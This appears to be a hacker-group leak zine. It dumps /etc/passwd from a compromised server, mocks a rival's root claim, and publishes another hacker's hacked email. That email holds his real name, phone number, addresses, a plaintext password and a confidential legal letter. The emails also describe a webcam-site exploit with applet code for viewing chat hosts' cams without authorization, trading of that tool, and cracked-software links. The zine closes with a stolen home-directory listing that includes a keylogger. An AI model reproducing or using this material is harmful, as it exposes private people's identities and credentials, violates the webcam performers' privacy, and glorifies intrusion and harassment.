andabata:x:1000:1000:Kees Guequierre,,,:/home/andabata:/bin/bash
ircd:x:1001:1001:ChatJunkies,,,:/home/ircd:/bin/bash
hybrid:x:1002:1002:Hybrid IRCD,,,:/home/hybrid:/bin/bash
xchat:x:1007:1007:Peter Zelezny,,,:/home/xchat:/bin/bash
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
kenny:x:1008:1008:Kenny,,,:/home/kenny:/bin/bash
sshd:x:102:65534::/var/run/sshd:/bin/false
bind:x:103:1010::/var/cache/bind:/bin/false
mxr:x:1011:1011:mxr,,,:/home/mxr:/bin/bash
muske:x:1012:1012:muske,,,:/home/muske:/bin/bash
pcgod:x:1003:1003:pcgod,,,:/home/pcgod:/bin/bash
website:x:1004:1004:Chatjunkies.org Website,,,:/home/website:/bin/bash
mysql:x:104:103:MySQL Server:/var/lib/mysql:/bin/false
dividian:x:1006:1006:D,,,:/home/dividian:/bin/bash
smmsp:x:105:104:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
nic:x:1005:1005:nic,,,:/home/nic:/bin/bash
ftp:x:107:65534::/home/ftp:/bin/false
crysanna:x:1013:1013:Crysanna,,,:/home/crysanna:/bin/bash
dovecot:x:106:106:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
clamav:x:108:108::/var/lib/clamav:/bin/false
zed:x:1014:1014:zed,,,:/home/zed:/bin/bash
forum:x:1015:1015:,,,:/home/forum:/bin/bash
smmta:x:109:107:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
popa3d:x:110:109::/var/lib/popa3d:/bin/false
chaos:x:1016:1016:DSC22,,,:/home/chaos:/bin/bash
blah blah blah, boring shitz...
-~-~-~
I was pretty fucking physed at the chance of an xchat backdooring only to believe
that they pussed out. When the truth is that they never rooted xchat.org. It's
pretty easy to see from the logs why.
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
they claim uid=0, a technique founded by zone-h forum admins. Give proper credit. Then they
issue ps aux from what looks to be root shell... but WTF is this?
www-data 27194 0.3 4.1 12648 5164 ? S 18:51 0:10 /usr/sbin/apache
www-data 27300 0.1 4.1 12664 5136 ? S 18:56 0:04 /usr/sbin/apache
www-data 27410 0.1 4.1 12656 5116 ? S 19:00 0:02 /usr/sbin/apache
www-data 28898 1.7 4.0 12616 5008 ? S 19:44 0:00 /usr/sbin/apache
www-data 28925 0.0 0.6 2476 836 ? R 19:44 0:00 ps aux
looks like processes spawned by their phpbb exploit, and of course one of them is
the ps aux they claimed to have executed as uid=0. Let's look at the uid of www-data.
www-data:x:33:33:www-data:/var/www:/bin/sh
yea.. I didn't think it'd be 0. Hopefully boobys will publish a well written
appology, or atleast come up with a better excuse than "our 0day shell masks processes
as ran by www-data to like fool adminz"
boobys, you need to own more. and rm more. you should of rm'd fallenroot.
14.txt-~-~-~ Morning_wood goez limp
h0no often sitz around & wonders what is going on in the mindz of
these fucked up 12 year oldz. The onez who play quake all day and
edit .bat filez to prove their skillz (shoutz to tal0n!). This is an
example of one of those groupz. Only this group is made up of full
grown adultz. We first brought on atomix.
*He's owned to fuck and baq. Even his family hatez him.
Next, we went over illwill.
*All his warez are oldwarez. Now they are mywarez.
And finally morning_wood.
*Here's a few mailz from his morningwood@thepub.co.za. yea, he knowz
he'z owned. Anyone who wishes for his entire inbox and sent messages
please leave a message on the zone-h forum, and a h0no member will
surely deliver the goodz. As a spechial deal for eeye employees we
will throw in morning_wood's inbox from illmob.org aswell.
True group ownage. we love it.
-~-~-~
From: "Mourning Woode" <morningwood@thepub.co.za>
Subject: Re: Ifcam96 Exploit
Date: Mon, 24 Mar 2003 09:08:39 +0200
To: "Nick Jacobsen" <nick@ethicsdesign.com>
Thank you for you intrest in the Ifriends vunerability I discovered.
First things first... I am not giving the full exploit "outright".
As my main coder for the "production" version, left a beta on his
server
and its now in the wild, I had done this one year ago and was
terrified as
what would happen if i let out the code. My intent was to present
"CamScam"
http://www.jungle2.org/Examples/FileLibrary/Files/index.html
as not only proof of the vunerability, but to work with them to
secure,
and impliment our package with minimal impact to thier operations, and
more importaintly their chat hosts privacy.
As to the nature of the exploit,
The way Ifriends works is a Java based authentication scheme.
Being such it is simply a matter of looking at the way an authenticaed
picture is able to reach the viewer. Basicly the Purchaser requests
via
his browser to Ifriends who in turn sends a string to the Purchasers
browser,
which in turn access the Chathosts cam software and the session is
authorized.
So ultimatly the goal is to reach the chathost via an authorized
request.
What is a authorized request?
Ifcam96c & d have java classes and the html to access those classes
inside the exe itself.
Download ifcam96c
http://download.com.com/3001-2348-10146565.html
Simply load up the installed ifcam.exe in a binary editor and it is
clear
there are elements of Java, HTML and another ( vb??).
I was able to produce working examples nearly just saving the .txt of
the exe
and subplanting the %s %d (ip port ) parameters with a test version of
ifcam running on
another computer via lan.
Having no formal or other knowlege of html or java i simply tried
things .. learning as i went.
...cut sceen, throught 2 weeks of of learning,hacking
the final applet..
<br>
<APPLET code="ifcam.class" codebase="http://127.0.0.1:8080/"
archive="ifcam.jar" width=320 height=240>
<PARAM name="ip" value="127.0.0.1">
<PARAM name="AccCode" value="i will tell you if you get
the code right">
<PARAM name="port" value="8080">
</APPLET>
<br>
is all that is required
of course this is a local example, of wich if you could spoof a local
request remotly, there is
no need for the acccode parameter at all.
I will be collecting info and presenting the public disclosure items
at
http://ifriends.dontexist.org
possibly a early version of camscam if you are interested in
colloborating or consulting
and need a person who has a unique perspective as to what can be
tried, and tested and
explored to the fullest
There are a few other very bad vunerabiliies with Ifrienbds web based
business setup.
Ifrriends is not willing to negotiate with me either to find out more,
or to hire me as
a consultaint who has looked at things with a unique perspective and
is now thought of
as a "hacker". I estimate thierr losses since this disclosure,
including recoding of the
Ifcam software, changes in server side includes and loosing a
signifigant share of
thier source of income , thier Chathost fear and non trust. Not to
mention down time for
the teething problems of Ifcam96e, to total over $500,000 in the last
2 weeks.
Conveyance in depth to this matter is beyond the typed message.
As you can tell I just start to ramble.
Serious inquires may reach me by phone at 360-312-8011
thank you
morning_wood
On Sun, 23 Mar 2003 05:30:13 -0800 Nick Jacobsen
(nick@ethicsdesign.com) wrote:
Ok, this just sounds too good to miss... would you mind sending me
the full info? and a copy of the working exploit would be nice, just
so I don;t have to code my own...
Heh,
Nick
Ethics Design
nick@ethicsdesign.com
_______________________________________________________________
http://www.webmail.co.za the South-African free email service
NetWiseGurus.Com Portal - Your Own Internet Business Today!
From: <user11011@hush.com>
Subject: Re: Re: potential buyer
Date: Wed, 30 Apr 2003 15:00:23 -0700
To: Mourning Woode <morningwood@thepub.co.za>
Full Headers
Undecoded Letter
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
my offer was software for software. i dont do "jobs" for software. ur
starting to sound like a fed to me, wood. send the name and maker of
the software u want to me if u like. if not, then please reply telling
me that the deal is dead. peace.
Tjak
______________________________________________________________________
On Tue, 29 Apr 2003 22:26:56 -0700 Mourning Woode
<morningwood@thepub.co.za> wrote:
>ill trade a copy for a job.. show me your stuff if i like sumpin
>mby
>ill leave a thank you :)
>
>wood
>
>http://exploit.wox.org/ifriends/
>
>
>On Sun, 27 Apr 2003 13:41:22 -0700 (user11011@hush.com) wrote:
>
>>
>>anything microshit i can provide, most other wares, i have alot
>of
>friends
>>and almost unlimited supply of warez of all kinds (except for yours,
>>
>>of course, which i hope to soon add to my collection). Glad to hear
>about
>>illwill, damn newsgroups need to get more reliable sources i
>guess.....
>>
>>are u a gamer? name a game, chances are i got it. want a new version
>>of visual c++? 3d max pro for graphics design? need a new OS? just
>ask.
>>all i want is that program. hell, just gimmie the source code and
>ill
>>be happy. if only it was possible to pirate
>hardware.........*sigh*.....
>>Respond soon.
>>
>>Tjak
>>
>>
>>
>>____________________________________________________________________
>__
>>On Fri, 25 Apr 2003 11:30:13 -0700 Mourning Woode
><morningwood@thepub.co.za>
>>wrote:
>>>Will gladly consider offers, esp commercial security packages.
>>>Outrageous? I dont know what price you saw? I will provide lists
>>>as
>>>well on an ongoing basis so there is some worth in going through
>>>me.
>>>As well the average price on ifriends is 5$ PER MINUTE, you
>could
>>>eat up 200-500$ in one day. P2P, as far as I know the camscam.exe
>>>floating on p2p is either a full trojan or backdored from the
>euyulio
>>>crew ( they got jelous ). will is fine, and I have spoken to him
>>>personaly on the phone in regards to your statement.
>>>
>>>morning_wood
>>>
>>>On Wed, 23 Apr 2003 20:45:05 -0700 (user11011@hush.com) wrote:
>>>
>>>>
>>>>-----BEGIN PGP SIGNED MESSAGE-----
>>>>Hash: SHA1
>>>>
>>>>k pasa
>>>>
>>>>interested in your program. price seems a little outrageous though
>>>interested
>>>>in a trade? any software u want, i most likely have/can get very
>>>soon.
>>>>just trying to do the respectable thing here. i could just go
>to
>>>a
>>>p2p
>>>>and look ur app up; wanted to give something back.
>>>>
>>>>btw...... whatever became of illwill.....vauge story about
>>>court
>>>>or the like....anyway, consider my offer, respond soon.
From: Richard.Johnson3@ey.com
Subject: Re: Re: Ifriends vulnerability
Date: Mon, 14 Apr 2003 14:56:08 -0500
To: "Mourning Woode" <morningwood@thepub.co.za>
Full Headers
Undecoded Letter
Well unfortunately, even tho I try to center my professional work
around security-type stuff the powers that be (those who cut my
paycheck) dont find things like this very interesting, so the
information is personally motivating. I'm also a big proponent of
privacy and am trying to support efforts in security that maintain
personal privacy over corporate interests. Thanks for your help.
Rich
"Mourning Woode"
<morningwood@thep To: "" <Richard.Johnson3@ey.com>
ub.co.za> cc:
Subject: Re: Re: Ifriends vulnerability
04/12/2003 05:02
PM
Rich, yes the powers that be (ifriends) dont seem to like my works,
and complained to dyndns.org who hosted my names. Currently the
collective info is at http://exploit.wox.org/ifriends/ I will consider
releasing a .exe to you. I will coloborate if you would like but the
main issue i wanted to stress is that WP/Ifriends directly violate
thier own "Chathost Privacy Agreement". My question to you is are you
interested in this on a personal.. or professional level? Currently I
am unemployed and any considerations would be apriciated, heh.
If you would like to discuss this in detail I am avalable via phone at
360-312-8011. There are many more issues with this company than
"camscam".
Donnie Werner
"morning_wood"
On Fri, 11 Apr 2003 11:52:56 -0500 (Richard.Johnson3@ey.com) wrote:
>I just came across your reply as had been lost in my inbox and you
have
>that domain directed to a 10.x.x.x address. Is there another way i
can get
>this information? What other issues have you had? I'm fully capable
of
>reverse engineering any problems you've experienced.
>
>thanks,
>Rich
>
>
>
>
> "Mourning Woode"
>
> <morningwood@thep To: ""
<Richard.Johnson
>3@ey.com>
> ub.co.za> cc:
>
> Subject: Re: Ifriends
vulner
>ability
> 03/26/2003 07:16
>
> AM
>
>
>
>
>
>
>
>
>
>Rich, Thank you for your intrest. Public collection of info is at
>http://mywood.kicks-ass.net/ifriends/ In depth discussion is welcomed
>at 360-312-8011 There are very many more issues with this company
than
>is covered that i choose not to disclose.
>
>thank you,
>
>Donnie Werner
>
>http://take.candyfrom.us
>
>
>
>On Tue, 25 Mar 2003 13:42:48 -0600 (Richard.Johnson3@ey.com) wrote:
>
>>Hello,
>>
>>I was hoping I could get some additional details about the ifriends
>>vulnerability. You mention a substitution of a filename for a
>javaclass,
>>and I'm unclear exactly what you mean. I would assume an attacker
>could
>>just scan for an open port signifying an ifriends service and use
the
>>modified code as a direct viewer?
>>
>>Thanks,
>>Rich
>>
>>
>>
>>____________________________________________________________________
_
>___
>>The information contained in this message may be privileged and
>confidential
>> and protected from disclosure. If the reader of this message is
not
>the in
>>tended recipient, or an employee or agent responsible for delivering
>this me
>>ssage to the intended recipient, you are hereby notified that any
>disseminat
>>ion, distribution or copying of this communication is strictly
>prohibited. I
>>f you have received this communication in error, please notify us
>immediatel
>>y by replying to the message and deleting it from your computer.
>Thank you.
>> Ernst & Young LLP
>>
>
>_____________________________________________________________________
__
>Cool Connection, Cool Price, Internet Access for R59 monthly @
WebMail
>http://www.webmail.co.za/dialup/
>
>
>
>
>
>_____________________________________________________________________
___
>The information contained in this message may be privileged and
confidential
> and protected from disclosure. If the reader of this message is not
the in
>tended recipient, or an employee or agent responsible for delivering
this me
>ssage to the intended recipient, you are hereby notified that any
disseminat
>ion, distribution or copying of this communication is strictly
prohibited. I
>f you have received this communication in error, please notify us
immediatel
>y by replying to the message and deleting it from your computer.
Thank you.
> Ernst & Young LLP
From: "Mourning Woode" <morningwood@thepub.co.za>
Subject: Re: Unlawful Exploitation of Rick Salomon/Paris Hilton Video
Date: Thu, 19 Feb 2004 01:39:02 +0200
To: "Paul S. Berra" <PBerra@LavelySinger.com>,<xillwillx@yahoo.com>,
<morningwood@thepub.co.za>, <atomix@illmob.org>
Cc: "Martin Singer" <mdsinger@LavelySinger.com>, "Paul S. Berra"
<PBerra@LavelySinger.com>
Sirs, you are very missinformed as to MY involvment in this
"video". I share a site with "illwill", it was his decision
solely to post and the paypal link is under his name.
Furthermore I have never recieved any gain from HIS
involvement in this issue, nor am I aware of HIS dealings
in regard to this issue. Please cease and disist any action
against ME ( morningwood@thepub.co.za ) as I catagorically
deny any involvement whatsoever in this "video" issue with
your client. Personaly I have neither "viewed" nor
"distributed" said "video" in any shape or form(at)
whatsoever. If you do not wish to cease and disist and
remove me from future involvement in your "action" I will
be forced to take every step nessesary to procecute you for
defamation of character and public slander by metioning me
in conjunction with this issue.
thank you,
morningwood@thepub.co.za
cc: legal@usatoday.com
cc: legal@nytimes.com
cc: legal@cnn.com
On Wed, 18 Feb 2004 12:56:10 -0800
"Paul S. Berra" <PBerra@LavelySinger.com> wrote:
>
> February 18, 2004
>
> CONFIDENTIAL LEGAL COMMUNICATIONS
> PROTECTED UNDER THE UNITED STATES COPYRIGHT ACT
> NOT FOR PUBLICATION OR OTHER USE
>
>
> VIA E-MAIL
> xillwillx@yahoo.com
> morningwood@thepub.co.za
> atomix@illmob.org
>
> WWW.ILLMOB.ORG
> Attn: illwill
> morning wood
> atomix
>
> Re: Salomon v. Hilton, et al./Copyright Violations
> Our File No.: 3536-4
>
> Dear Sirs/Madams:
>
> We are litigation counsel for Rick Salomon and his
> website, www.trustfundgirls.com. As we have demanded of
> other website operators and/or registrants, including
> those persons and entities recently responsible for
> www.sdr2.com, we hereby demand that you immediately cease
> and desist from any further unauthorized exploitation of
> the video (the "Video") involving Mr. Salomon and Paris
> Hilton on the Internet and elsewhere. Specifically, it
> has come to our attention that each of you have been and
> are currently involved in the unlawful distribution and
> commercial exploitation of the Video in a malicious
> attempt to market and exploit your websites and the
> products you purport to offer.
>
> Be advised that my clients are the exclusive owners of
> the copyrights and other rights in the Video, and the
> Video is being lawfully sold on, www.trustfundgirls.com,
> the only website which is permitted to sell, publish,
> broadcast, distribute or otherwise commercially exploit
> (collectively, "exploit") the Video, and any portion
> thereof. Therefore, if you do not immediately cease and
> desist exploiting the Video in any and all media
> whatsoever, including but not limited to stills of the
> video, your individual exposures regarding liability and
> damages in this case will continue to increase
> exponentially, minute by minute, hour by hour. This
> urgency applies with full force and effect to each and
> every person and entity, including any other websites,
> acting with you or on your behalf. Even if you purport
> to give the Video away for free is irrelevant. As the
> exclusive rights owners, my clients will suffer even more
> harm - - which we estimate will run into the tens of
> millions of dollars - - regardless of how much you charge
> for the Video. Furthermore, you will be forced to
> disgorge any revenues and profits earned therefrom and
> will be subject to criminal prosecution. Anyone involved
> in exploiting the Video will be responsible for
> compensating my clients, in full, for the damages that
> they suffer.
>
> It is no longer disputed that my clients own all
> copyrights and other rights in the Video. The
> unauthorized copying and distribution of the Video
> clearly constitutes intentional and malicious
> infringements of copyright in violation of the United
> States Copyright Act, Title 17 of the United States Code,
> Section 101, et. seq., and exposes you and everyone
> acting in concert with you to civil liability, damages,
> injunctive relief and reimbursement of all attorneys'
> fees and costs incurred by my client(s) in connection
> with a copyright infringement action. Infringement of
> Mr. Salomon's copyrights will also expose you to criminal
> prosecution, particularly if you continue to recklessly
> choose to distribute the Video after being placed on
> written notice that you have absolutely no rights to do
> so. Section 504(b) of Title 17 of the United States Code
> states:
>
> [T]he owner of copyright under this [Act] has the
> exclusive rights to do and to authorize any of the
> following: (1) to reproduce the copyrighted work . . .
> (2) to prepare derivative works . . . (3) to distribute
> copies . . . (4) to perform the copyrighted work publicly
> . . . and (5) to display the copyrighted work publicly.
>
> (Emphasis added). Any action inconsistent with, or in
> anyway violative of, Mr. Salomon's copyrights in the
> Video constitute copyright infringement. See also, CMAX
> / Cleveland v. UCR, Inc., 804 F. Supp. 337 (M.D. Ga.
> 1992). The Copyright Act clearly defines such actions as
> unauthorized publications and broadcasts which constitute
> infringement, whether or not you are selling the
> copyrighted work, merely trading, or supposedly giving
> them away. Section 101 of Title 17 of the United States
> Code sets forth the legal definitions of terms within the
> Act:
>
> "Publication" is the distribution of copies ... of a
> work to the public by sale or other transfer of
> ownership, or by rental, lease, or lending . . . or other
> distribution.
>
> Anyone "who violates any of the exclusive rights of the
> copyright owner . . . is an infringer of the copyright."
> 17 U.S.C. §§ 501(a).
>
> You and the other infringers will be held liable for any
> and all actual damages sustained by my clients as a
> result of your unlawful exploitation of the Video, and
> you and the other infringers will be legally required and
> ordered to disgorge and pay to my clients any and all
> gross revenues and profits which you and the other
> infringers receive now or in the future in connection
> with the copying and distribution of the Video. 17 U.S.C.
> §§§§ 504; see also, U.S. Payphone, Inc. v. Executives
> Unlimited of Durham, Inc., 781 F. Supp. 412 (M.D.N.C.
> 1991) (in addition to damages personally suffered,
> profits gained by the infringement were disgorged
> ensuring that the infringers did not retain any benefits
> flowing from their wrongful conduct).
>
> If necessary, we will obtain through the litigation
> process any and all business records evidencing your
> improper conduct, and my clients will spare no expense to
> track down every infringer connected to your unlawful
> scheme. Section 504(b) of Title 17 of the United States
> Code states:
>
> "The copyright owner is entitled to recover the
> actual damages suffered by him or her as a result of the
> infringement, and any profits of the infringer that are
> attributable to the infringement and are not taken into
> account in computing the actual damages. In establishing
> the infringer's profits, the copyright owner is required
> to present proof only of the infringer's gross revenue,
> and the infringer is required to prove his or her
> deductible expenses and the elements of profit
> attributable to factors other than the copyrighted work."
> (Emphasis added).
>
> You are further required to account to my clients for any
> and all gross revenues and profits you may have received
> from the offering and/or distribution of any of the
> Video. Respect Inc. v. Committee on Status of Women, 821
> F. Supp. 531 (N.D. Ill. 1993).
>
> Moreover, my clients will, if necessary, obtain an order
> restraining you from any further copying or distribution
> of the Video. 17 U.S.C. §§ 502. In addition, you have
> also exposed yourself to costs and attorneys' fees
> incurred by my clients in connection with the legal
> actions necessary to enforce and protect his copyrights
> and other exclusive rights in the Video. 17 U.S.C. §§
> 505; Chi-Boy Music Club v. Charlie Club, Inc., 930 F.2d
> 1224 (7th Cir. 1991) (attorneys' fees awarded against
> intentional infringer); In Design v. K-Mart Apparel
> Corp., 13 F.3d 559 (2nd Cir. 1992) (attorneys' fees
> awarded to the prevailing party as incentive for
> copyright owners to use courts to challenge and stop
> infringement and to deter infringement).
>
> Finally, you have unlawfully misappropriated Mr.
> Salomon's name and likeness for a commercial purpose, and
> in so doing, have damaged his reputation. Your use of
> Mr. Salomon's name to exploit the Video inevitably causes
> confusion as to the source, sponsorship, affiliation and
> endorsement of the products offered by your websites, all
> in violation of Section 43(a) of the federal Lanham Act.
> 15 U.S.C. § 1125(a) prohibits a person from using in
> commerce any term or false designation of origin which
> "is likely to cause confusion . . . as to the
> affiliation, connection, or association of such person
> with another person, or as to the origin, sponsorship,
> or approval of his or her goods, services or commercial
> activities by another person."
>
> In an attempt to ameliorate this harm, and hopefully
> slow down the unlawful proliferation of the Video on the
> Internet and elsewhere, we demand that you immediately
> comply with the following:
>
> (1) e-mail to me a written acknowledgment that you have
> ceased and permanently desisted from using, publishing,
> distributing, selling, licensing or otherwise exploiting
> the Video in any manner, including any other websites
> that you are affiliated with;
>
> (2) inform every identifiable person and entity who
> viewed, purchased, copied and/or downloaded a copy of the
> Video from one of your websites of the following:
>
> (a) you never had valid rights to use, distribute,
> publish or otherwise exploit the Video, and therefore
> they never had valid rights to download or view any
> portions of it, and they still do not have any such
> rights;
>
> (b) Rick Salomon's attorneys have represented to you
> that Mr. Salomon and his website, www.trustfundgirls.com,
> are the exclusive owners of all copyrights and other
> rights in the Video, and, as a result, you have removed
> the Video from your websites; and
>
> (c) Those who copied or downloaded the Video must cease
> and desist from any further distribution, publishing or
> exploitation of the Video in any manner, or face
> liability and damages based thereon, including the
> imposition of punitive damages for knowingly violating
> one's copyrighted material, and subjecting themselves to
> criminal prosecution;
>
> (3) provide to me a detailed accounting of any and all
> monies that you and any affiliated websites have received
> from the use, publishing, distribution and any other
> exploitation of the Video;
>
> (4) destroy all copies of the Video in any media,
> whatsoever, including but not limited to any and all
> videotape, film, compact discs, DVD's, computer floppy
> discs, electronic mail, and provide to me a written
> confirmation of same; and
>
> (5) provide to me a list of websites that you are
> affiliated with, a list of names, e-mail addresses, and
> other contact information of those persons and other
> entities who copied or downloaded the Video from your
> websites and/or have published, distributed or otherwise
> exploited the Video.
>
> Should you fail to fully comply with these reasonable
> demands, Mr. Salomon will have no alternative but to
> assert his legal rights against you and those acting on
> your behalf under both federal and state law and seek
> compensatory damages, punitive damages, injunctive
> relief, and the recovery of attorneys' fees necessitated
> by your unlawful conduct.
>
> This is a confidential legal notice and may not be
> published, in whole or in part. Any republishing or
> dissemination of same, including but not limited to the
> posting of the contents hereof on the Internet, shall
> constitute a copyright infringement and will subject the
> re-publisher(s) to civil liability for such actions.
> This letter does not constitute a complete or exhaustive
> statement of all of my client's rights, claims,
> contentions or legal theories regarding this matter.
> Nothing stated herein is intended as, nor should it be
> deemed to constitute, a waiver or relinquishment of any
> of my client's rights or remedies, whether legal or
> equitable, all of which are hereby expressly reserved.
>
> Sincerely,
>
> / S /
>
> PAUL S. BERRA
>
> cc: Mr. Richard Salomon
> Martin D. Singer, Esq.
> 3536-2\Let\PSB-INFRINGERS 021804
>
>
>
----------------------------------------------------------------------
> PAUL S. BERRA
> LAVELY & SINGER PROFESSIONAL CORPORATION
> ATTORNEYS AT LAW
> 2049 CENTURY PARK EAST, SUITE 24000
> LOS ANGELES, CALIFORNIA 90067-2906
> TELEPHONE: (310) 556-3501
> FACSIMILE: (310) 556-3615
> www.LavelySinger.com
> E-MAIL: pberra@lavelysinger.com
>
----------------------------------------------------------------------
>
> THIS MESSAGE IS INTENDED ONLY FOR THE USE OF THE
> INDIVIDUAL OR ENTITY TO WHICH IT IS ADDRESSED, AND MAY
> CONTAIN INFORMATION THAT IS PRIVILEGED, CONFIDENTIAL AND
> EXEMPT FROM DISCLOSURE UNDER APPLICABLE LAW AND MAY NOT
> BE PUBLISHED OR DISSEMINATED IN WHOLE OR IN PART. IF THE
> READER OF THIS MESSAGE IS NOT THE INTENDED RECIPIENT, OR
> THE EMPLOYEE OR AGENT RESPONSIBLE FOR DELIVERING THE
> MESSAGE TO THE INTENDED RECIPIENT, YOU ARE HEREBY
> NOTIFIED THAT ANY DISCLOSURE, COPYING, DISTRIBUTION OR
> THE TAKING OF ANY ACTION IN RELIANCE ON THE CONTENTS OF
> THIS COMMUNICATION IS STRICTLY PROHIBITED.
>
> IF YOU HAVE RECEIVED THIS COMMUNICATION IN ERROR, PLEASE
> NOTIFY THE LAW OFFICES OF LAVELY & SINGER PROFESSIONAL
> CORPORATION IMMEDIATELY BY TELEPHONE (310-556-3501) OR
> E-MAIL (REPLY TO SENDER'S ADDRESS), AND THEN DESTROY ALL
> COPIES OF THIS COMMUNICATION AND ANY ATTACHED FILES.
> THANK YOU.
From: <darkangel@go.ro>
Subject: Re: Re: Re: Re: Re: Re: Re: Re: Re: Re: Re: camscam
Date: Tue, 10 Jun 2003 02:54:13 +0300
To: "Mourning Woode" <morningwood@thepub.co.za>
Full Headers
Undecoded Letter
i have found perl2exe 5.03 fullversion.. you can get it from
http://www.shadowman.ro/p2x-5.03-Win32.zip
and the crack from http://www.shadowman.ro/crack.zip
i registered that version with that crack..the command is perl2exe
-gui
C:\perl>perl2exe
Perl2Exe V5.03b Copyright (c) 1997-2002 IndigoSTAR Software
Warning: platform = Win32, perl.exe not found in path
Warning: perl.exe not found in path
Registered to Dan:Dan:20055002, ENT version
Usage: perl2exe myscript.pl
options:
-perloptions="options" Set Perl options (Default = none)
-small Generate smaller exe file (Pro version only)
-tiny Generate even smaller exe file (Pro version
only)
-gui Generate a no-console executable (Pro version
only)
-platform=Win32 Generate code for Win32 (default)
i used the CS beta2 and it have some errors to resolf some
screen-name...still good until now..:)) tell me if the perl2exe worked
----- Original Message -----
From: "Mourning Woode" <morningwood@thepub.co.za>
To: <darkangel@go.ro>
Sent: Saturday, 10 May, 2003 05:36
Subject: Re: Re: Re: Re: Re: Re: Re: Re: Re: Re: Re: camscam
> saves in bmp only i think, save favorites i think is button on lower
> right, verify file is written, i save copy after i close and rename
so
> i get new favs.txt every time. There are new versions in
development.
> I will give you beta2 it is different ( i personaly use beta2 ).
>
> perl2exe any or all versions, i just need to be real full versions,
so
> i can make special programs with no limits / warnings.
>
> On Mon, 9 Jun 2003 01:04:48 +0300 (darkangel@go.ro) wrote:
>
> >which version of perl2exe? for windows or Linux? the latest
perl2exe
> is v 7
> >and supports Perl 5.8.0, Perl 5.6.1, Perl 5.6.0 and Perl 5.005 . If
> that is
> >ok...just tell me and I upload on a site..u have right..the beta 3
> camscam
> >works on 20%-25% screen names. but it cannot save as jpg..the save
> button is
> >open button and it not save it. the favorites save as Username not
> screen
> >name and it can't be delete /modify. If I close the camscam the
> favorites
> >are deleted too...sometimes in name resolv when I paste the screen
> name
> >appear "error" not the ip and the port...until now :)btw..May I
help
> u to
> >test or something ?
> >
> >----- Original Message -----
> >From: "Mourning Woode" <morningwood@thepub.co.za>
> >To: <darkangel@go.ro>
> >Sent: Friday, 09 May, 2003 21:08
> >Subject: Re: Re: Re: Re: Re: Re: Re: Re: Re: Re: camscam
> >
> >
> >> certainly it is not a 8080 issue. The fuzzy and grey is from
girls
> >> using 96e. I maintain a list of older 96d version usersthat are
> still
> >> clear. My suggestion is do collect many screen names and try
every
> >> one, making favorites as you go for clear ones. I cureently have
2
> >> people working on new 96e compatable versions... DONATIONS ARE
> >> ACCECPTED :) btw.. I am looking for full version of PERL2EXE or
> >> similar...
> >>
> >>
> >> On Fri, 9 May 2003 09:54:51 +0300 (darkangel@go.ro) wrote:
> >>
> >> >i downloaded it...but when i try to connect to any person which
> have
> >> the
> >> >port 8080 appears connecting... and then disapear and don't
> work..but
> >> if the
> >> >victim has port 8081 it work but the quality is not good...i've
> >> attached a
> >> >copy of connection to 8080 which i am not receiving the image
and
> >> oane of
> >> >port 8081 when i have image but the quality is poor...anyway
> >> thanks..do you
> >> >think that is a bug with the port 8080 or just because at job i
am
> >> unning
> >> >win98se?
> >> >dan
From: webmistress@ladieslinks.com
Subject: Account Approved
Date: Thu, 26 Dec 2002 09:32:30 -0800 (PST)
To: morningwood@thepub.co.za
Full Headers
Undecoded Letter
Your account has been approved for our top sites list.
You can begin sending hits to the list at any time.
Use the following URL for your links:
http://www.ladieslinks.com/in.php?id=mrwood
If you need to make changes to your account, or want
to see your statistics, use the following login info:
Login At: http://join.ladieslinks.com/accounts.php?login
Username: mrwood
Password: qazwsx
Make sure you write down your username and password!
If you have any questions contact webmistress@ladieslinks.com
Regards,
Donna & Cecil
PS: Another link that might interest you..
The Woman's TGP:
http://www.womenstgp.com
-~-~-~
The rest iz too lame to show here. It is truely discusting how many
complete e-tardz email morning_wood and get his elitist responcez.
Those of you who've seen morning_wood at his numerious african con
attendencez and saw that morning_wood only has 1 hand to type with
will really laugh at his password in that last email. He likes to
pick passwords from one side of the keyboard, so he can easily type
it one handed, while using a foot to masterbate over a <script> tag.
15.txt-~-~-~ cripy's guide to becoming elite
cr1py 1z el1t3! d0nt fuckz w1f h1m 0r h3'll ch4t y0ur 34r 0ff!
PHC turn3d 1nt0 a j0k3.. d0 th3y 3v3n h4ck 4nym0r3?
mafia@peach $ ls -al /usr/home/cripy
total 83816
drwxr-xr-x 14 cripy cripy 1536 Dec 7 10:02 .
drwxr-xr-x 16 root wheel 512 Mar 31 2004 ..
-rw------- 1 cripy cripy 6256 Jan 3 00:35 .bash_history
-rw-r--r-- 1 cripy cripy 771 Feb 25 2004 .cshrc
drwxr-xr-x 5 cripy cripy 512 May 25 2004 .darkstar
-rw-r--r-- 1 cripy cripy 6 Oct 25 17:03 .fakeid
drwxr-xr-x 8 cripy cripy 1024 Dec 16 07:02 .irc
-rw-r--r-- 1 cripy cripy 1345 Mar 6 2004 .ircrc
-rw-r--r-- 1 cripy cripy 255 Feb 25 2004 .login
-rw-r--r-- 1 cripy cripy 165 Feb 25 2004 .login_conf
drwxrwxrwx 2 cripy cripy 512 Mar 25 2004 .lynx
-rw------- 1 cripy cripy 371 Feb 25 2004 .mail_aliases
-rw-r--r-- 1 cripy cripy 331 Feb 25 2004 .mailrc
-rw------- 1 cripy cripy 3 Apr 1 2004 .mysql_history
-rw-r--r-- 1 cripy cripy 1158 Aug 24 07:25 .profile
-rw------- 1 cripy cripy 276 Feb 25 2004 .rhosts
-rw-r--r-- 1 cripy cripy 852 Feb 25 2004 .shrc
drwx------ 2 cripy cripy 512 Mar 29 2004 .ssh
-rw-r--r-- 1 cripy cripy 2052 May 20 2004 DEA
-rw------- 1 cripy cripy 8367633 Jan 4 09:13 IRCLOG
drwx------ 2 cripy cripy 512 Jun 28 2004 Mail
-rw-r--r-- 1 cripy cripy 1527 Mar 31 2004 Tcl_Eval.c
-rw-r--r-- 1 cripy cripy 66 Jul 11 20:18 c
drwx------ 12 cripy cripy 512 Apr 30 2004 darkstar
-rw-r--r-- 1 cripy cripy 31352456 May 21 2004 dea.tgz
-rw-r--r-- 1 cripy cripy 2638 Sep 6 19:42 f
-rw-r--r-- 1 cripy cripy 685912 Nov 4 07:53 ghostlogger.exe
-rw------- 1 cripy cripy 2758 Nov 29 18:24 mbox
